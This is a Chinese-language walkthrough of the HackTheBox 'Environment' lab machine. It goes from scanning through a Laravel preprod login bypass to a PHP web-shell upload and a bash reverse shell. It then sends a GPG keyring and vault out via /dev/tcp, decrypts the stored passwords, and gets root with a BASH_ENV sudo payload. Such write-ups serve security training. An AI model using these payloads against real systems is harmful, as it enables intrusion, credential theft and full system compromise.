<h1>Machine - Environment</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/Environment">https://app.hackthebox.com/machines/Environment</a> | <code>Linux</code> | <code>Medium</code>
</blockquote>
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Environment nmap -sT -min-rate 10000 -p- 10.10.11.67
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 01:13 EDT
Nmap scan report for environment.htb (10.10.11.67)
Host is up (0.30s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp closed ftp
22/tcp open ssh
80/tcp open http
110/tcp closed pop3
113/tcp closed ident
135/tcp closed msrpc
143/tcp closed imap
443/tcp closed https
445/tcp closed microsoft-ds
995/tcp closed pop3s
1720/tcp closed h323q931
5900/tcp closed vnc
8080/tcp closed http-proxy

Nmap done: 1 IP address (1 host up) scanned in 44.10 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Environment nmap -sT -A -T4 -O -p 22,80 10.10.11.67
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 01:10 EDT
Nmap scan report for environment.htb (10.10.11.67)
Host is up (0.43s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 484.29 ms 10.10.16.1
2 303.43 ms environment.htb (10.10.11.67)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.49 seconds
</code></pre>
<h2>Web 渗透</h2>
<h3>信息收集</h3>
访问 <code>HTTP</code> 服务
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image.png" alt="image.png">
可能是开发环境？
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image1.png" alt="image.png">
扫描一下目录
<pre><code class="hljs language-bash">➜ Environment dirsearch -u http://environment.htb -x 403,404,429 -e php,zip,txt 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, zip, txt | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/Desktop/test/Environment/reports/http_environment.htb/_25-05-06_01-40-51.txt

Target: http://environment.htb/

[01:40:51] Starting: 
[01:42:23] 301 - 169B - /build -> http://environment.htb/build/
[01:42:44] 200 - 0B - /favicon.ico
[01:42:58] 200 - 2KB - /index.php/login/
[01:43:07] 200 - 2KB - /login
[01:43:07] 200 - 2KB - /login/
[01:43:08] 302 - 358B - /logout -> http://environment.htb/login
[01:43:08] 302 - 358B - /logout/ -> http://environment.htb/login
[01:43:35] 200 - 24B - /robots.txt
[01:43:45] 301 - 169B - /storage -> http://environment.htb/storage/
[01:43:56] 405 - 245KB - /upload
[01:43:56] 405 - 245KB - /upload/

Task Completed
</code></pre>
<code>/upload</code> ，直接访问能得到 <code>PHP 8.2.28</code> <code>Laravel 11.30.0</code> 并且开启了<code>APP_DEBUG=true</code>（因为看的到调试页面），错误中显示了一部分代码
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image2.png" alt="image.png">
<h3>APP_DEBUG 利用</h3>
我们到登陆页面尝试让其弹出 <code>stracktrace</code> 页面，查看一下上下代码
修改成一个不存在的方法即可
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image3.png" alt="image.png">
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image4.png" alt="image.png">
但是也没有发现什么
然后测试时将 <code>remember</code> 的参数去掉，就能得到 <code>500</code> 错误
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image5.png" alt="image.png">
并且泄露了登录逻辑，看代码是开发者给自己留了捷径
<pre><code class="hljs language-bash"> if($keep_loggedin !== False) {
 // TODO: Keep user logged in if he selects "Remember Me?"
 }
 
 if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
 $request->session()->regenerate();
 $request->session()->put('user_id', 1);
 return redirect('/management/dashboard');
 }
</code></pre>
构造链接，根据佬们提示，可以使用的 <code>--env=preprod</code> 进入分支，发送数据包后重定向到 <code>/management/dashboard</code>
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image6.png" alt="image.png">
然后就成功进入后台了
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image7.png" alt="image.png">
<h3>文件上传</h3>
<code>Profile</code> 页面还有上传功能点
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image8.png" alt="image.png">
测试发现能上传 <code>.user.ini</code> ，但是有个坑，多次上传会提示：
<pre><code class="hljs language-bash">{"error":{"message":"A file with this name already exists!"}}
</code></pre>
最后测试可以上传 <code>x.php.</code> 的文件
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image9.png" alt="image.png">
访问上传的路径，成功解析
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image10.png" alt="image.png">
上传一句话木马
<pre><code class="hljs language-bash">-----------------------------36025816183919919027932701280
Content-Disposition: form-data; name="upload"; filename="6.php."
Content-Type:image/png

GIF89a
&#x3C;?php @eval(system($_POST[1]));?>
</code></pre>
进行反弹 <code>shell</code>
<pre><code class="hljs language-bash">1=%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F&#x3C;YOUR_IP>%2F&#x3C;YOUR_PORT>+0%3E%261%27
</code></pre>
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image11.png" alt="image.png">
<h2>提权 - To Hish</h2>
<code>hish</code> 用户家目录能找到 user.txt
<pre><code class="hljs language-bash">www-data@environment:/home/hish$ cat user.txt
cat user.txt
b3fc4246b5457791238ca88f08f93f9d
</code></pre>
<h3>解密 PGP</h3>
<code>backup</code> 目录找到 <code>gpg</code> ，应该是要用 <code>gpg key</code> 进行登录
<pre><code class="hljs language-bash">www-data@environment:/home/hish/backup$ ls
ls
keyvault.gpg
</code></pre>
<pre><code class="hljs language-bash">www-data@environment:/home/hish/.gnupg$ ls
openpgp-revocs.d pubring.kbx random_seed
private-keys-v1.d pubring.kbx~ trustdb.gpg
</code></pre>
查看文件类型
<pre><code class="hljs language-bash">www-data@environment:/home/hish/.gnupg$ file ../backup/keyvault.gpg 
../backup/keyvault.gpg: PGP RSA encrypted session key - keyid: B755B0ED D6CFCFD3 RSA (Encrypt or Sign) 2048b .
</code></pre>
尝试解密，发现权限不足
<pre><code class="hljs language-bash">www-data@environment:/home/hish$ gpg --homedir /home/hish/.gnupg --decrypt /home/hish/backup/keyvault.gpg 
gpg: WARNING: unsafe ownership on homedir '/home/hish/.gnupg'
gpg: failed to create temporary file '/home/hish/.gnupg/.#lk0x000055f4a7783a60.environment.18159': Permission denied
gpg: can't connect to the agent: Permission denied
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
 "hish_ &#x3C;hish@environment.htb>"
gpg: decryption failed: No secret key
</code></pre>
将 <code>.gnupg</code> 和 <code>keyvault.gpg</code> 都拉到 <code>Kali</code>
<pre><code class="hljs language-bash">www-data@environment:/home/hish$ cat backup/keyvault.gpg > /dev/tcp/10.10.16.27/1235

www-data@environment:/home/hish$ tar -cvf /tmp/.gnupg.tar .gnupg/
.gnupg/
.gnupg/private-keys-v1.d/
.gnupg/private-keys-v1.d/C2DF4CF8B7B94F1EEC662473E275A0E483A95D24.key
.gnupg/private-keys-v1.d/3B966A35D4A711F02F64B80E464133B0F0DBCB04.key
.gnupg/trustdb.gpg
.gnupg/pubring.kbx
.gnupg/openpgp-revocs.d/
.gnupg/openpgp-revocs.d/F45830DFB638E66CD8B752A012F42AE5117FFD8E.rev
.gnupg/pubring.kbx~
.gnupg/random_seed

www-data@environment:/home/hish$ cat /tmp/.gnupg.tar > /dev/tcp/10.10.16.27/1235
</code></pre>
再次解密，得到密码：<code>marineSPm@ster!!</code>
<pre><code class="hljs language-bash">➜ Environment gpg --homedir .gnupg --decrypt keyvault.gpg 
gpg: 警告：家目录‘/root/Desktop/test/Environment/.gnupg’的所有权不安全
gpg: 由 2048 位的 RSA 密钥加密，标识为 B755B0EDD6CFCFD3，生成于 2025-01-11
 “hish_ &#x3C;hish@environment.htb>”
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
</code></pre>
成功登录
<pre><code class="hljs language-bash">➜ Environment ssh hish@environment.htb 
The authenticity of host 'environment.htb (10.10.11.67)' can't be established.
ED25519 key fingerprint is SHA256:GKtBN7PjK58Q8eTT80jQMUZYS5ZLu8ccptkyIueks18.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'environment.htb' (ED25519) to the list of known hosts.
hish@environment.htb's password: 
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 6 21:51:47 2025 from 10.10.16.27
hish@environment:~$ 
</code></pre>
<h2>提权 - To Root</h2>
<h3>信息收集</h3>
<code>sudo</code> 权限
<pre><code class="hljs language-bash">hish@environment:~$ sudo -l
[sudo] password for hish: 
Matching Defaults entries for hish on environment:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
 (ALL) /usr/bin/systeminfo
</code></pre>
<h3>路径劫持</h3>
执行后会运行一些命令，例如 <code>netstat</code> 等
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image12.png" alt="image.png">
<pre><code class="hljs language-bash">hish@environment:~$ cat /usr/bin/systeminfo 
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h
</code></pre>
然后尝试了一下简单的路径劫持
<pre><code class="hljs language-bash">hish@environment:~$ export PATH=/home/hish:$PATH
</code></pre>
发现不能成功，因为名字相同的 <code>shell‑builtin</code> 总是先被调用
但是可以注意到
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image13.png" alt="image.png">
<code>sudo</code> 默认会清掉大部分环境变量，只有在这里明确 <code>env_keep</code> 才会保留；
然后 <code>ENV BASH_ENV</code> 是变量，我们可以控制，<code>Payload</code>是：
<pre><code class="hljs language-bash">echo '/bin/bash -p' > /tmp/root.sh ; chmod +x /tmp/root.sh ; env -i BASH_ENV=/tmp/root.sh PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin sudo /usr/bin/systeminfo
</code></pre>
这里做了什么？
首先创建 <code>root.sh</code> 执行后会创建一个新的 <code>shell</code> 。<code>env -i</code>从一个空环境开始（清除掉所有原有环境变量），保证后面只存在我们显式指定的变量。<code>BASH_ENV=/tmp/root.sh</code> 这是非交互式 Bash 启动时会自动读取并执行的环境变量。我们把它指向刚刚写好的 <code>/tmp/root.sh</code> 。<code>PATH=…</code>
设置一个最小可用的 PATH，保证后续 <code>sudo</code>、<code>bash</code>、<code>echo</code> 等都能找到。
<code>sudo /usr/bin/systeminfo</code> 以 root 身份执行 <code>systeminfo</code> 脚本。因为 <code>systeminfo</code> 文件头是 <code>#!/bin/bash</code>，所以它会被非交互式的 Bash 解释执行。
<img src="/post-images/HackTheBoxMachine%20-%20Environment/image14.png" alt="image.png">
<pre><code class="hljs language-bash">root@environment:~# cat root.txt 
74c70b0fe4bcb9d5a6aff48c71046584
</code></pre>

HackTheBox - Machine - Environment

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion